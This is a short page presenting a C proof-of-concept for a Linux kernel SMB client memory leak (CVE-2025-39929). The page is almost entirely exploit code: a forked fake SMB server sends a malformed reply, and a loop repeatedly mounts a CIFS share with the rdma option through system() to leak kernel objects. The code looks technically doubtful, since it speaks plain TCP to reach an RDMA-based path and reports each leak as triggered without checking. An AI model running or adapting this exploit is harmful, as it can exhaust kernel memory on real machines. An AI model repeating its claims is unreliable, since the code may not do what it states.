CVE-2025-39929 Linux内核SMB客户端内存泄漏漏洞

// CVE-2025-39929 PoC - Trigger smbdirect_recv_io leak // This PoC demonstrates how to trigger the memory leak by repeatedly // attempting SMB Direct connections that fail during negotiation #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #define SMB_PORT 445 #define MAX_ATTEMPTS 1000 // Create a fake SMB server that accepts connections but fails // during SMB Direct negotiation, causing smbdirect_recv_io leak int create_malicious_smb_server(int port) { int server_fd, client_fd; struct sockaddr_in server_addr, client_addr; socklen_t addr_len = sizeof(client_addr); server_fd = socket(AF_INET, SOCK_STREAM, 0); if (server_fd < 0) return -1; int opt = 1; setsockopt(server_fd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt)); memset(&server_addr, 0, sizeof(server_addr)); server_addr.sin_family = AF_INET; server_addr.sin_addr.s_addr = INADDR_ANY; server_addr.sin_port = htons(port); if (bind(server_fd, (struct sockaddr*)&server_addr, sizeof(server_addr)) < 0) { close(server_fd); return -1; } listen(server_fd, 5); // Accept connections and send invalid SMB Direct response // to trigger negotiation failure and memory leak while (1) { client_fd = accept(server_fd, (struct sockaddr*)&client_addr, &addr_len); if (client_fd < 0) continue; // Send malformed SMB Direct negotiation response // This causes the client to fail negotiation and leak smbdirect_recv_io char invalid_response[] = {0x00, 0x00, 0x00, 0xFF}; // Invalid SMB header write(client_fd, invalid_response, sizeof(invalid_response)); // Close connection abruptly close(client_fd); } return 0; } // Client side: trigger the vulnerability by mounting SMB share // from the malicious server repeatedly int trigger_leak() { for (int i = 0; i < MAX_ATTEMPTS; i++) { // Use mount command or libsmbclient to connect to malicious server // Each failed negotiation leaks smbdirect_recv_io objects char cmd[256]; snprintf(cmd, sizeof(cmd), "mount -t cifs //127.0.0.1/share /mnt/test -o vers=3.1.1,rdma 2>/dev/null"); system(cmd); system("umount /mnt/test 2>/dev/null"); if (i % 100 == 0) { printf("Attempt %d: Memory leak triggered\n", i); } } return 0; } int main() { printf("CVE-2025-39929 PoC - SMB Direct recv_io memory leak\n"); // Fork to run malicious server in background if (fork() == 0) { create_malicious_smb_server(SMB_PORT); exit(0); } sleep(1); trigger_leak(); return 0; }